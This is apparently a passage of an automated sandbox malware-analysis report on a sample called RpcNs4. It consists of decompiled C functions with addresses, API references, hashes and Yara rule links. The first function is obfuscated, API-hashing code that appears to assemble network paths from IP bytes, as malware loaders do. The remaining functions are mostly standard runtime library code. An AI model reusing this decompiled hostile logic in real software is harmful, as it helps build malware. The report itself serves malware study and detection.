				intOrPtr _v2900;
				void* __ebx;
				void* __ebp;
				void* _t107;
				signed int _t108;
				intOrPtr* _t113;
				signed int _t119;
				signed int _t123;
				intOrPtr* _t126;
				intOrPtr* _t128;
				signed int _t137;
				void* _t141;
				signed char* _t148;
				intOrPtr* _t159;
				void* _t165;
				signed int _t167;
				intOrPtr* _t177;
				void* _t180;
				intOrPtr* _t206;
				intOrPtr _t229;
				signed char* _t245;
				signed int _t260;
				short* _t261;
				void* _t263;
				short* _t264;
				void* _t266;
				void* _t268;
				void* _t270;
				intOrPtr* _t272;
				signed int _t276;
				char _t277;
				intOrPtr* _t278;
				intOrPtr* _t279;
				void* _t281;
				void* _t283;
				void* _t284;
				void* _t285;

				_t281 =  &_v2896;
				_t279 = _v2860;
				_v2888 = 0;
				_t260 = __edx;
				_v2880 = __edx;
				_t107 = 0x34b824cd;
				_v2884 = __ecx;
				_v2896 = _v2856;
				_v2872 = _t279;
				while(1) {
					L1:
					_t177 = _a4;
					while(1) {
						_t241 = _v2892;
						do {
							while(1) {
								L3:
								_t283 = _t107 - 0x1eb6b95d;
								if(_t283 > 0) {
									break;
								}
								if(_t283 == 0) {
									_t126 =  *0x20bddc8;
									__eflags = _t126;
									if(_t126 == 0) {
										_t126 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x298e8809, _t279);
										 *0x20bddc8 = _t126;
									}
									_t266 =  *_t126();
									_t128 =  *0x20bdbec;
									__eflags = _t128;
									if(_t128 == 0) {
										_t128 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x632f374, _t279);
										 *0x20bdbec = _t128;
									}
									 *_t128(_t266, 0, _t279);
									goto L68;
								} else {
									_t284 = _t107 - 0xe09be1f;
									if(_t284 > 0) {
										__eflags = _t107 - 0x1994374c;
										if(__eflags > 0) {
											__eflags = _t107 - 0x1e99af87;
											if(_t107 != 0x1e99af87) {
												goto L58;
											} else {
												_v2868 = 0;
												_v2864 = 0;
												_t137 = E020B2BA0( &_v2688, _t241,  &_v2560,  &_v2048,  &_v2844,  &_v2868);
												_t281 = _t281 + 0x10;
												asm("sbb eax, eax");
												_t107 = ( ~_t137 & 0x11817f15) + 0x1fd2b00b;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											}
										} else {
											if(__eflags == 0) {
												E020B4180(_t177, _v2836);
												_t107 = 0x33f162b3;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											} else {
												__eflags = _t107 - 0x11137988;
												if(_t107 == 0x11137988) {
													_t141 = E020B3460(0x20bd090);
													_t278 =  *0x20bdf10;
													_t263 = _t141;
													__eflags = _t278;
													if(_t278 == 0) {
														_t278 = E020B3DD0(_t177, E020B3E70(0xe60124ba), 0xec538b3a, _t279);
														 *0x20bdf10 = _t278;
													}
													_t245 =  *( *0x20be35c + 0x2c);
													 *_t278( &_v2688, 0x40, _t263, _t245[3] & 0x000000ff, _t245[2] & 0x000000ff, _t245[1] & 0x000000ff,  *_t245 & 0x000000ff);
													_t281 = _t281 + 0x1c;
													E020B3400(_t263);
													_t260 = _v2880;
													_t277 = _v2884;
													_t148 =  *( *0x20be35c + 0x2c);
													_t241 = _t148[4] & 0x0000ffff;
													_t107 = 0x5ac3e84;
													_v2892 = _t148[4] & 0x0000ffff;
													continue;
												} else {
													__eflags = _t107 - 0x14d5ed4a;
													if(_t107 != 0x14d5ed4a) {
														goto L58;
													} else {
														E020B4180(_t177, _v2868);
														_t107 = 0x1fd2b00b;
														while(1) {
															_t241 = _v2892;
															goto L3;
														}
													}
												}
											}
										}
									} else {
										if(_t284 == 0) {
											_t268 =  *(_t260 + 4) + (0x51eb851f *  *(_t260 + 4) >> 0x20 >> 5) * 4 + (0x51eb851f *  *(_t260 + 4) >> 0x20 >> 5);
											_t279 = E020B4220(_t177, _t268);
											_v2872 = _t279;
											__eflags = _t279;
											if(_t279 == 0) {
												L68:
												return _v2900;
											} else {
												_push(_t268);
												_push(_t279);
												_t206 = E020B5B30( *_t260,  *(_t260 + 4), _t279);
												_t281 = _t281 + 8;
												_v2896 = _t206;
												__eflags = _t206;
												if(_t206 == 0) {
													E020B4180(_t177, _t279);
													return _v2888;
												} else {
													_t107 = 0x202b0a47;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											}
										} else {
											_t285 = _t107 - 0xa20cd0f;
											if(_t285 > 0) {
												__eflags = _t107 - 0xb290b63;
												if(_t107 != 0xb290b63) {
													goto L58;
												} else {
													_t270 = E020B3460(0x20bd100);
													_t159 =  *0x20bdf10;
													__eflags = _t159;
													if(_t159 == 0) {
														_t159 = E020B3DD0(_t177, E020B3E70(0xe60124ba), 0xec538b3a, _t279);
														 *0x20bdf10 = _t159;
													}
													 *_t159( &_v2048, 0x400, _t270,  &_v2688,  &_v2560,  &_v2816);
													_t281 = _t281 + 0x18;
													E020B3400(_t270);
													_t107 = 0x20a98e65;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											} else {
												if(_t285 == 0) {
													 *((intOrPtr*)(_t177 + 4)) =  *_v2852;
													_t272 = E020B4220(_t177,  *_v2852);
													 *_t177 = _t272;
													__eflags = _t272;
													if(_t272 != 0) {
														_push( *((intOrPtr*)(_t177 + 4)));
														_push(_t272);
														_t165 = E020B5750(_v2848 - 4);
														_t281 = _t281 + 8;
														__eflags = 0 - _t165;
														asm("sbb edi, edi");
														_v2888 =  ~_t260;
														if(0 == _t165) {
															E020B4180(_t177,  *_t177);
														}
														_t260 = _v2880;
													}
													_t107 = 0x2833dc8d;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												} else {
													if(_t107 == 0x32df52c) {
														_t167 = E020B2240( &_v2860,  &_v2836);
														asm("sbb eax, eax");
														_t107 = ( ~_t167 & 0xdd2216d5) + 0x33f162b3;
														while(1) {
															_t241 = _v2892;
															goto L3;
														}
													} else {
														if(_t107 != 0x5ac3e84) {
															goto L58;
														} else {
															_t261 =  &_v2560;
															_t180 = _v2876 - (0xaaaaaaab * _v2876 >> 0x20 >> 2) + (0xaaaaaaab * _v2876 >> 0x20 >> 2) * 2 + (0xaaaaaaab * _v2876 >> 0x20 >> 2) + (0xaaaaaaab * _v2876 >> 0x20 >> 2) * 2 + 1;
															if(_t180 != 0) {
																do {
																	_t276 = (_v2876 & 0x0000000f) + 4;
																	E020B4E10(_t261, _t276,  &_v2876);
																	_t264 = _t261 + _t276 * 2;
																	_t281 = _t281 + 4;
																	 *_t264 = 0x2f;
																	_t261 = _t264 + 2;
																	_t180 = _t180 - 1;
																} while (_t180 != 0);
																_t279 = _v2872;
																_t277 = _v2884;
															}
															 *_t261 = 0;
															_t107 = 0x3114903d;
															_t260 = _v2880;
															goto L1;
														}
													}
												}
											}
										}
									}
								}
								L69:
							}
							__eflags = _t107 - 0x3114903d;
							if(__eflags > 0) {
								__eflags = _t107 - 0x31542f20;
								if(_t107 == 0x31542f20) {
									_t108 = E020B1F60( &_v2868,  &_v2852);
									asm("sbb eax, eax");
									_t107 = ( ~_t108 & 0xf54adfc5) + 0x14d5ed4a;
									_t241 = _v2892;
									goto L3;
								} else {
									__eflags = _t107 - 0x33f162b3;
									if(_t107 == 0x33f162b3) {
										E020B4180(_t177, _v2860);
										_t107 = 0x1eb6b95d;
										while(1) {
											_t241 = _v2892;
											goto L3;
										}
									} else {
										__eflags = _t107 - 0x34b824cd;
										if(_t107 != 0x34b824cd) {
											goto L58;
										} else {
											_t113 =  *0x20bdc10;
											__eflags = _t113;
											if(_t113 == 0) {
												_t113 = E020B3DD0(_t177, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t279);
												 *0x20bdc10 = _t113;
											}
											_v2876 =  *_t113();
											_t107 = 0xe09be1f;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										}
									}
								}
							} else {
								if(__eflags == 0) {
									E020B1C10( &_v2816);
									_t107 = 0xb290b63;
									while(1) {
										_t241 = _v2892;
										goto L3;
									}
								} else {
									__eflags = _t107 - 0x20a98e65;
									if(__eflags > 0) {
										__eflags = _t107 - 0x2833dc8d;
										if(_t107 != 0x2833dc8d) {
											goto L58;
										} else {
											E020B4180(_t177, _v2852);
											_t107 = 0x14d5ed4a;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										}
									} else {
										if(__eflags == 0) {
											_t119 = E020B18E0( &_v2836,  &_v2816,  &_v2844);
											_t229 = _v2896;
											_t281 = _t281 + 4;
											asm("sbb eax, eax");
											_t107 = ( ~_t119 & 0x0505783b) + 0x1994374c;
											while(1) {
												_t241 = _v2892;
												goto L3;
											}
										} else {
											__eflags = _t107 - 0x1fd2b00b;
											if(_t107 == 0x1fd2b00b) {
												E020B4180(_t177, _v2844);
												_t229 = _v2896;
												_t107 = 0x1994374c;
												while(1) {
													_t241 = _v2892;
													goto L3;
												}
											} else {
												__eflags = _t107 - 0x202b0a47;
												if(_t107 != 0x202b0a47) {
													goto L58;
												} else {
													_v2820 = _t229;
													_v2828 = _t277;
													_v2824 = _t279;
													_t123 = E020B1DF0( &_v2828,  &_v2860);
													_t229 = _v2896;
													asm("sbb eax, eax");
													_t107 = ( ~_t123 & 0xe4773bcf) + 0x1eb6b95d;
													while(1) {
														_t241 = _v2892;
														goto L3;
													}
												}
											}
										}
									}
								}
							}
							goto L69;
							L58:
							__eflags = _t107 - 0x198d893d;
						} while (_t107 != 0x198d893d);
						return _v2888;
						goto L69;
					}
				}
			}

0x020b12b0
0x020b12b8
0x020b12c2
0x020b12ca
0x020b12cc
0x020b12d0
0x020b12d5
0x020b12d9
0x020b12dd
0x020b12e1
0x020b12e1
0x020b12e1
0x020b12e8
0x020b12e8
0x020b12f0
0x020b12f0
0x020b12f0
0x020b12f0
0x020b12f5
0x00000000
0x00000000
0x020b12fb
0x020b17bc
0x020b17c1
0x020b17c3
0x020b17d6
0x020b17db
0x020b17db
0x020b17e2
0x020b17e4
0x020b17e9
0x020b17eb
0x020b17fe
0x020b1803
0x020b1803
0x020b180c
0x00000000
0x020b1301
0x020b1301
0x020b1306
0x020b14f3
0x020b14f8
0x020b15d1
0x020b15d6
0x00000000
0x020b15dc
0x020b15e0
0x020b15ed
0x020b160d
0x020b1616
0x020b161b
0x020b1622
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b14fe
0x020b14fe
0x020b15be
0x020b15c7
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1504
0x020b1504
0x020b1509
0x020b1532
0x020b1537
0x020b153d
0x020b153f
0x020b1541
0x020b1559
0x020b155b
0x020b155b
0x020b1567
0x020b1588
0x020b158a
0x020b158f
0x020b159d
0x020b15a1
0x020b15a5
0x020b15a8
0x020b15ac
0x020b15b1
0x00000000
0x020b150b
0x020b150b
0x020b1510
0x00000000
0x020b1516
0x020b151a
0x020b1523
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1510
0x020b1509
0x020b14fe
0x020b130c
0x020b130c
0x020b14b1
0x020b14ba
0x020b14bc
0x020b14c0
0x020b14c2
0x020b180e
0x020b181c
0x020b14c8
0x020b14cd
0x020b14ce
0x020b14d4
0x020b14d6
0x020b14d9
0x020b14dd
0x020b14df
0x020b17a8
0x020b17bb
0x020b14e5
0x020b14e9
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b14df
0x020b1312
0x020b1312
0x020b1317
0x020b1425
0x020b142a
0x00000000
0x020b1430
0x020b143a
0x020b143c
0x020b1441
0x020b1443
0x020b1456
0x020b145b
0x020b145b
0x020b1483
0x020b1485
0x020b148a
0x020b1493
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b131d
0x020b131d
0x020b13d0
0x020b13d8
0x020b13da
0x020b13dc
0x020b13de
0x020b13e8
0x020b13f1
0x020b13f2
0x020b13f9
0x020b13fc
0x020b13fe
0x020b1402
0x020b1406
0x020b140a
0x020b140a
0x020b140f
0x020b140f
0x020b1417
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1323
0x020b1328
0x020b13ae
0x020b13b9
0x020b13c0
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b132a
0x020b132f
0x00000000
0x020b1335
0x020b1339
0x020b1351
0x020b1352
0x020b1360
0x020b136d
0x020b1373
0x020b1378
0x020b137b
0x020b137e
0x020b1381
0x020b1384
0x020b1384
0x020b1387
0x020b138f
0x020b138f
0x020b1395
0x020b1398
0x020b139d
0x00000000
0x020b139d
0x020b132f
0x020b1328
0x020b131d
0x020b1317
0x020b130c
0x020b1306
0x00000000
0x020b12fb
0x020b162c
0x020b1631
0x020b1704
0x020b1709
0x020b178a
0x020b1795
0x020b179c
0x020b12e8
0x00000000
0x020b170b
0x020b170b
0x020b1710
0x020b176f
0x020b1778
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1712
0x020b1712
0x020b1717
0x00000000
0x020b1719
0x020b1719
0x020b171e
0x020b1720
0x020b1733
0x020b1738
0x020b1738
0x020b1743
0x020b1747
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1717
0x020b1710
0x020b1637
0x020b1637
0x020b16f1
0x020b16fa
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b163d
0x020b163d
0x020b1642
0x020b16cf
0x020b16d4
0x00000000
0x020b16d6
0x020b16da
0x020b16e3
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1648
0x020b1648
0x020b16b0
0x020b16b5
0x020b16b9
0x020b16be
0x020b16c5
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b164a
0x020b164a
0x020b164f
0x020b1690
0x020b1695
0x020b1699
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b1651
0x020b1651
0x020b1656
0x00000000
0x020b165c
0x020b165c
0x020b1668
0x020b166c
0x020b1670
0x020b1675
0x020b167b
0x020b1682
0x020b12e8
0x020b12e8
0x00000000
0x020b12e8
0x020b12e8
0x020b1656
0x020b164f
0x020b1648
0x020b1642
0x020b1637
0x00000000
0x020b1751
0x020b1751
0x020b1751
0x020b176a
0x00000000
0x020b176a
0x020b12e8

APIs

_snwprintf.NTDLL ref: 020B1588

Strings

/T1, xrefs: 020B1704
G+ , xrefs: 020B14E9
G+ , xrefs: 020B1651

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: _snwprintf
String ID: /T1$G+ $G+
API String ID: 3988819677-2345689787
Opcode ID: 7457a2de186d4c4e0c8e4528e9f944a33bd4f7eb74e8acd5551305681c996801
Instruction ID: 4e791b6d304ca05a1d9f7a0d9a26517fd9083ac88184ebd205f0006823c530ac
Opcode Fuzzy Hash: 7457a2de186d4c4e0c8e4528e9f944a33bd4f7eb74e8acd5551305681c996801
Instruction Fuzzy Hash: 3AD19075A083068BC736DF64C4A0AEEF7E6AF84304F544A1EE899D7340DB34E915DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040F24B, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F24B() {
				intOrPtr _t3;
				intOrPtr _t4;
				void* _t6;
				intOrPtr _t9;
				void* _t12;
				intOrPtr _t13;

				_t3 =  *0x438b20; // 0x200
				_t13 = 0x14;
				if(_t3 != 0) {
					if(_t3 < _t13) {
						_t3 = _t13;
						goto L4;
					}
				} else {
					_t3 = 0x200;
					L4:
					 *0x438b20 = _t3;
				}
				_t4 = E0040CFF1(_t3, 4);
				 *0x438b1c = _t4;
				if(_t4 != 0) {
					L8:
					_t12 = 0;
					_t9 = 0x435ae0;
					while(1) {
						 *((intOrPtr*)(_t12 + _t4)) = _t9;
						_t9 = _t9 + 0x20;
						_t12 = _t12 + 4;
						if(_t9 >= 0x435d60) {
							break;
						}
						_t4 =  *0x438b1c; // 0x6287d8
					}
					return 0;
				} else {
					 *0x438b20 = _t13;
					_t4 = E0040CFF1(_t13, 4);
					 *0x438b1c = _t4;
					if(_t4 != 0) {
						goto L8;
					} else {
						_t6 = 0x1a;
						return _t6;
					}
				}
			}

0x0040f24b
0x0040f253
0x0040f256
0x0040f261
0x0040f263
0x00000000
0x0040f263
0x0040f258
0x0040f258
0x0040f265
0x0040f265
0x0040f265
0x0040f26d
0x0040f272
0x0040f27b
0x0040f29b
0x0040f29b
0x0040f29d
0x0040f2a2
0x0040f2a2
0x0040f2a5
0x0040f2a8
0x0040f2b1
0x00000000
0x00000000
0x0040f2b3
0x0040f2b3
0x0040f2bd
0x0040f27d
0x0040f280
0x0040f286
0x0040f28b
0x0040f294
0x00000000
0x0040f296
0x0040f298
0x0040f29a
0x0040f29a
0x0040f294

APIs

__calloc_crt.LIBCMT ref: 0040F26D
__calloc_crt.LIBCMT ref: 0040F286

Strings

`]C, xrefs: 0040F2AB
wC, xrefs: 0040F29D

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __calloc_crt
String ID: `]C$wC
API String ID: 3494438863-808437571
Opcode ID: 484377b076df00fabd8c2a1fccc8f7f648e9a1d09ed7ea333a479461580e79bd
Instruction ID: 72d7284f8e9fd5ec6db6b3b88fa14804601b3eb64e61d0091f2518a1533ae0a5
Opcode Fuzzy Hash: 484377b076df00fabd8c2a1fccc8f7f648e9a1d09ed7ea333a479461580e79bd
Instruction Fuzzy Hash: 65F02DB53087038AF7349B59BC61A52A395E748720F00807FF100EA6C0D73C9843878C

Uniqueness

Uniqueness Score: -1.00%

Function 00402524, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00402524(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				char* _v16;
				char _v28;
				signed char _v32;
				void* _t10;
				void* _t19;
				intOrPtr* _t22;
				void* _t24;
				void* _t25;
				intOrPtr* _t27;

				_t25 = __edi;
				_t19 = __ebx;
				while(1) {
					_t10 = E004025D7(_t19, _t24, _t25, _a4);
					if(_t10 != 0) {
						break;
					}
					if(E004036E7(_t10, _a4) == 0) {
						_push(1);
						_v16 = "bad allocation";
						_t22 =  &_v28;
						E004034F3(_t22,  &_v16);
						_v28 = 0x42cdd4;
						E0040371A( &_v28, 0x4341d8);
						asm("int3");
						_t27 = _t22;
						 *_t27 = 0x42cdd4;
						E00403563(_t22);
						if((_v32 & 0x00000001) != 0) {
							E004023FA(_t27);
						}
						return _t27;
					} else {
						continue;
					}
					L7:
				}
				return _t10;
				goto L7;
			}

0x00402524
0x00402524
0x00402539
0x0040253c
0x00402544
0x00000000
0x00000000
0x00402537
0x0040254a
0x0040254f
0x00402557
0x0040255a
0x00402567
0x0040256f
0x00402574
0x00402579
0x0040257b
0x00402581
0x0040258a
0x0040258d
0x00402592
0x00402597
0x00000000
0x00000000
0x00000000
0x00000000
0x00402537
0x00402549
0x00000000

APIs

_malloc.LIBCMT ref: 0040253C

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

std::exception::exception.LIBCMT ref: 0040255A
__CxxThrowException@8.LIBCMT ref: 0040256F

Part of subcall function 0040371A: RaiseException.KERNEL32(?,?,?,004341D8,?,00000000,?,?,?,00402574,?,004341D8,?,00000001), ref: 0040376F

Strings

bad allocation, xrefs: 0040254F

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: a3d21fe86276208f817dbcb78276c6e3ae1468de7613c1dcd0239201df3327a7
Instruction ID: 5cc741f056d4a3ad692e710aafeaad04cb18d0bca015c19945315737f035ef5c
Opcode Fuzzy Hash: a3d21fe86276208f817dbcb78276c6e3ae1468de7613c1dcd0239201df3327a7
Instruction Fuzzy Hash: ABF0F47150021976CB00AE69ED199EEBFACAF01315F10447BFC04B26D1DFF99B40929C

Uniqueness

Uniqueness Score: -1.00%

Function 004154D3, Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004154D3(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E0040D9B1( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E004150F5( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							_t42 = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00403FAC();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x004154db
0x004154e0
0x004154fa
0x00000000
0x004154fa
0x004154e2
0x004154e7
0x00000000
0x00000000
0x004154ec
0x00415509
0x0041550e
0x00415511
0x00415518
0x00415537
0x0041553e
0x00415540
0x00415584
0x00415593
0x0041559b
0x004155a1
0x004155a3
0x004155b3
0x004155b3
0x004155b7
0x004155b9
0x004155bc
0x004155bc
0x004155bc
0x004155bc
0x00000000
0x004155c2
0x004155a5
0x004155a5
0x004155aa
0x004155aa
0x004155ad
0x00000000
0x004155ad
0x00415542
0x00415545
0x00415549
0x00415572
0x00415572
0x00415575
0x00415575
0x00000000
0x00000000
0x00415577
0x0041557b
0x00000000
0x00000000
0x0041557d
0x0041557d
0x00000000
0x0041557d
0x0041554b
0x0041554e
0x00000000
0x00000000
0x00415552
0x00415565
0x0041556b
0x0041556e
0x00415570
0x00000000
0x00000000
0x00000000
0x00415570
0x0041551a
0x0041551d
0x0041551f
0x00415524
0x00415524
0x00415529
0x00000000
0x00415529
0x004154ee
0x004154f3
0x004154f7
0x004154f7
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00415509
__isleadbyte_l.LIBCMT ref: 00415537
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,00000000,00000000), ref: 00415565
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,00000000,00000000), ref: 0041559B

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 3710f688a2b214f1cf60e7ff4e19daede13986bfed869f9c0a6359568c9f5529
Instruction ID: 478774b0f7d39393cd8bf266ab152c9b1bceb49f68e4d9ca76d912dad007dec8
Opcode Fuzzy Hash: 3710f688a2b214f1cf60e7ff4e19daede13986bfed869f9c0a6359568c9f5529
Instruction Fuzzy Hash: 9331C031600A46FFDB218E69C845BEB7BA7FF81310F15402AE86597291E734E891DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401260, Relevance: 6.0, APIs: 4, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401260(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				struct tagPOINT _v12;
				long _t12;
				int _t20;
				long _t22;

				_t12 = GetWindowLongA(_a4, 0xffffffeb);
				_t20 = _a8;
				_t22 = _t12;
				if(_t20 == 0x14) {
					L6:
					L00401005(_t22);
					goto L7;
				} else {
					if(_t20 == 0x113) {
						if(_a12 == 0x4b0) {
							goto L6;
						}
						L7:
						return 0;
					} else {
						if(_t20 == 0x205) {
							GetCursorPos( &_v12);
							TrackPopupMenu( *(_t22 + 0xc), 0, _v12, _v12.y, 0x64,  *(_t22 + 0x14), 0);
							return 0;
						} else {
							return DefWindowProcA(_a4, _t20, _a12, _a16);
						}
					}
				}
			}

0x0040126c
0x00401272
0x00401275
0x0040127a
0x004012d7
0x004012d9
0x00000000
0x0040127c
0x00401282
0x004012d5
0x00000000
0x00000000
0x004012de
0x004012e4
0x00401284
0x0040128a
0x004012a7
0x004012bf
0x004012cb
0x0040128c
0x004012a0
0x004012a0
0x0040128a
0x00401282

APIs

GetWindowLongA.USER32 ref: 0040126C
DefWindowProcA.USER32(?,?,?,?), ref: 00401296
GetCursorPos.USER32(?), ref: 004012A7
TrackPopupMenu.USER32(?,00000000,?,?,00000064,?,00000000), ref: 004012BF

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Window$CursorLongMenuPopupProcTrack
String ID:
API String ID: 1794703793-0
Opcode ID: d5af5e9bbd54771d4f90c30ccf96748d4a38a08e97c498cb83b3451f644df746
Instruction ID: e542749ba296fdd87e3a5beb6a412bebb88910c97f6c43a1d3d2113e5c2dfe96
Opcode Fuzzy Hash: d5af5e9bbd54771d4f90c30ccf96748d4a38a08e97c498cb83b3451f644df746
Instruction Fuzzy Hash: B201753250410CBBDF259F94EC09AEF7B65EB04311F0046AAFE02A55F0D7B65960DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041C101, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041C101(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
